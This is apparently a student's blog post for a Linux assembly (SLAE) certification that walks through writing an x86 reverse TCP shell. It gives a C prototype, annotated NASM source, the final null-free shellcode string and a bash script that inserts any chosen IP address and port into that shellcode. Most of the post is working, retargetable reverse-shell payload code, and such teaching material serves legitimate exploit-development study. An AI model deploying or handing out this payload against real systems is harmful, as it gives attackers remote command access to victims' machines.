This post has been created for completing the requirements of the Pentester Academy Linux Assembly Expert Certification.
Student ID: PA-8535
Code structure:
- 1. Create a socket
- 2. Connect to a IP and port
- 3. Redirect STDIN, STDOUT and STDERR to the client connection
- 4. Execute a shell
Again, I prepared an example coded in C:
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
int main(){
// man socket
int host_socket = socket(AF_INET, SOCK_STREAM, 0);
// man 7 ip
struct sockaddr_in host_address;
host_address.sin_family = AF_INET;
// man htons
host_address.sin_port = htons(8888);
host_address.sin_addr.s_addr = inet_addr("127.0.0.1");
//man connect
connect(host_socket, (struct sockaddress *)&host_address, sizeof(host_address));
// man dup
dup2(host_socket, 0);
dup2(host_socket, 1);
dup2(host_socket, 2);
// man execve
execve("/bin/sh", NULL, NULL);
}
1. Create a socket
We already know how to do this part, it’s explained step by step in the previous blog post:
https://xavibel.com/2019/04/26/shellcoding-linux-x86-shell-bind-tcp/
; Part 1
; Create a socket
; int socketcall(int call, unsigned long *args);
; int socket(int domain, int type, int protocol);
mov al, 0x66 ; 102 number in hex
mov bl, 0x1 ; call
push ecx ; protocol
push ebx ; type
push 0x2 ; domain
mov ecx, esp ; point ecx to the top of the stack
int 0x80
mov edi, eax ; stores sockfd
2 . Connect to an IP and a port
If we check the man page, we can see what arguments we need to pass to connect function:
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
If we remember the bind function from the previous assignment is almost the same:
; socket syscall
xor eax, eax
mov al, 0x66
mov ebx, 0x2
; struct sockaddr
xor edx, edx
push edx
push word 0xb822 ; port 8888
push bx
mov ecx, esp
; bind arguments
push 0x10
push ecx
push edi
mov ecx, esp
int 0x80
Nevertheless, we need to do a change, we need to pass the IP address where we want to connect.
First of all, we need to convert the address to hex, we can use this python function:
[socket@xxxxx ~]$ python
Python 3.7.2 (default, Jan 10 2019, 23:51:51)
[GCC 8.2.1 20181127] on linux
...
>>> import socket
>>> socket.inet_aton('127.0.0.1')
b'\x7f\x00\x00\x01' // it has nulls, we can't use it
>>> socket.inet_aton('127.1.1.1')
b'\x7f\x01\x01\x01'
And now, let’s modify our previous code. We are going to push the hex address for the IP, and modify EBX to contain a 3 that is SYS_CONNECT.
; Part 2
; Connect
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
; socket syscall
xor eax, eax
mov al, 0x66
mov bl, 0x2
; struct sockaddr
push 0x0101017f ; ip address 127.1.1.1
push word 0xb822 ; port 8888
push bx
mov ecx, esp
; connect arguments
push 0x10
push ecx
push edi
mov ecx, esp
mov bl, 0x3 ; sys_connect
int 0x80
3. Duplicate the file descriptors
We are going to use the same code that we used in the previous assignment:
https://xavibel.com/2019/04/26/shellcoding-linux-x86-shell-bind-tcp/
But we need to store sockfd in EBX, because is needed in dup as a parameter. So we are going to do:
mov ebx, edi ; moving sockfd
Final code of this part:
; Part 3
; Duplicate file descriptors
; int dup2(int oldfd, int newfd);
mov ebx, edi ; moving sockfd
xor ecx, ecx
mov cl, 0x2
fd:
mov al, 0x3f
int 0x80
dec ecx
jns fd ; when ecx is 0 it will jump out of the loop
4. Execute a shell
Exactly the same code that we used in the previous assignment:
https://xavibel.com/2019/04/26/shellcoding-linux-x86-shell-bind-tcp/
This part of code:
; Part 4
; Execute a shell
; int execve(const char *filename, char *const argv[],
mov al, 0xb
xor edx, edx
mov ecx, edx
push ecx
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
int 0x80
We put all together, and this is the final code:
; Filename: reverse_shell.nasm
; Author: Xavier Beltran
; Course: SLAE - Pentester Academy
global _start
section .text
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
; Part 1
; Create a socket
; int socketcall(int call, unsigned long *args);
; int socket(int domain, int type, int protocol);
mov al, 0x66 ; 102 number in hex
mov bl, 0x1 ; call
push ecx ; protocol
push ebx ; type
push 0x2 ; domain
mov ecx, esp ; point ecx to the top of the stack
int 0x80
mov edi, eax ; stores sockfd
; Part 2
; Connect
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
; socket syscall
xor eax, eax
mov al, 0x66
xor ebx, ebx
mov bl, 0x2
; struct sockaddr
push 0x0101017f ; ip address 127.0.0.1
push word 0xb822 ; port 8888
push bx
mov ecx, esp
; connect arguments
push 0x10
push ecx
push edi
mov ecx, esp
mov bl, 0x3 ; sys_connect
int 0x80
; Part 3
; Duplicate file descriptors
; int dup2(int oldfd, int newfd);
;mov ebx, edi ; moving sockfd
xchg ebx, edi
xor ecx, ecx
mov cl, 0x2
fd:
mov al, 0x3f
int 0x80
dec ecx
jns fd ; when ecx is 0 it will jump out of the loop
; Part 4
; Execute a shell
; int execve(const char *filename, char *const argv[],
mov al, 0xb
xor edx, edx
mov ecx, edx
push ecx
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
int 0x80
This if the final shellcode:
"\x31\xc0\x31\xdb\x31\xc9\xb0\x66\xb3\x01\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x68\x7f\x01\x01\x01\x66\x68\x22\xb8\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb3\x03\xcd\x80\x87\xdf\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31\xd2\x89\xd1\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xcd\x80"
And it works!
Port and IP address changer:
I did this bash script to automate the process of selecting a different ip address and port. Here is the code:
#!/bin/bash
# ip address
ip_address=$1
ip_1=$(echo $ip_address | awk -F '.' '{print$1}')
ip_2=$(echo $ip_address | awk -F '.' '{print$2}')
ip_3=$(echo $ip_address | awk -F '.' '{print$3}')
ip_4=$(echo $ip_address | awk -F '.' '{print$4}')
ip_hex1=$(echo "obase=16; $ip_1" | bc)
ip_hex2=$(echo "obase=16; $ip_2" | bc)
ip_hex3=$(echo "obase=16; $ip_3" | bc)
ip_hex4=$(echo "obase=16; $ip_4" | bc)
if [ $(echo $ip_hex1 | wc -c) == 2 ]
then
ip_hex1=$(echo $ip_hex1 | sed 's/^/0/')
fi
if [ $(echo $ip_hex2 | wc -c) == 2 ]
then
ip_hex2=$(echo $ip_hex2 | sed 's/^/0/')
fi
if [ $(echo $ip_hex3 | wc -c) == 2 ]
then
ip_hex3=$(echo $ip_hex3 | sed 's/^/0/')
fi
if [ $(echo $ip_hex4 | wc -c) == 2 ]
then
ip_hex4=$(echo $ip_hex4 | sed 's/^/0/')
fi
echo '[+] IP address values in hex:'
echo $ip_hex4 $ip_hex3 $ip_hex2 $ip_hex1
# 01 01 01 7F
# port
port_hex=$(echo "obase=16; $2" | bc | sed 's/.\{2\}$/:&/')
port_hex1=$(echo $port_hex | awk -F ':' '{print$2}')
port_hex2=$(echo $port_hex | awk -F ':' '{print$1}')
if [ $(echo $port_hex1 | wc -c) == 2 ]
then
port_hex1=$(echo $port_hex1 | sed 's/^/0/')
fi
if [ $(echo $port_hex2 | wc -c) == 2 ]
then
port_hex2=$(echo $port_hex2 | sed 's/^/0/')
fi
echo '[+] Port converted to hex:'
echo $port_hex1
echo $port_hex2
echo -e '[+] Final Shellcode:'
shellcode="\x31\xc0\x31\xdb\x31\xc9\xb0\x66\xb3\x01\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x68\x$ip_hex1\x$ip_hex2\x$ip_hex3\x$ip_hex4\x66\x68\x$port_hex2\x$port_hex1\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb3\x03\xcd\x80\x87\xdf\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31\xd2\x89\xd1\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xcd\x80"
echo $shellcode
And here is an screenshot:
Here is a link to my Github account where all the code is stored:
https://github.com/socket8088/Shellcoding-Linux-x86/tree/master/SLAE/Assignment2
And that’s all for this interesting second assignment!